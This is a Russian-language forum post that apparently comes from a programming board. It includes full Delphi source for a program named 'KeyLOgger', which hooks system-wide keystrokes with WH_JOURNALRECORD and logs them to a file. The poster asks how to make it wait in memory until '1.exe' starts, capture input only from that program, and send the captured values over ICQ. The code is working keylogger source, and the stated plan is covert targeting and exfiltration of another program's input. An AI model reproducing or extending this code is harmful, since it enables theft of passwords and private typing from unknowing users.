Нет просто хочу значения отправлять по icq при нажатии кнопки ОК значения отправляются, только как сделать так чтобы это выполняла моя программа... вот код перехвата клавиш
| Код |
program KeyLOgger;
{$APPTYPE CONSOLE}
uses
Windows,
Messages;
var
Mess: TMsg;
Hook: hHook;
Wnd: hWnd;
Wrote: DWORD;
function HookProc(Code: Integer; WParam: Word; LParam: LongInt): LongInt; stdcall;
var
Msg: PEventMsg;
LogChar: Char;
begin
if Code >= 0 then begin
Result := 0;
Msg := Pointer(LParam);
LogChar := Chr(Msg.paramL);
if Msg.message = WM_KEYDOWN then WriteFile(Wnd, LogChar, 1, Wrote, nil);
end else
Result := CallNextHookEx(Hook, Code, WParam, LParam);
end;
begin
Wnd := CreateFile('Log.txt', GENERIC_WRITE, FILE_SHARE_READ, nil,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, FILE_FLAG_OVERLAPPED);
Hook := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, HInstance, 0);
while GetMessage(Mess, 0, 0, 0) do
begin
TranslateMessage(Mess);
DispatchMessage(Mess);
end;
end.
|
Теперь нужно чтобы не всегда перехватывались клавиши а только при запуске 1 программы...
Тоесть программа висит в памяти и ждёт запуска 1.exe как только он запущен она перехватывает нажатие клавиш после нажатия кнопки ок она выполняет сохранение в файл...
|
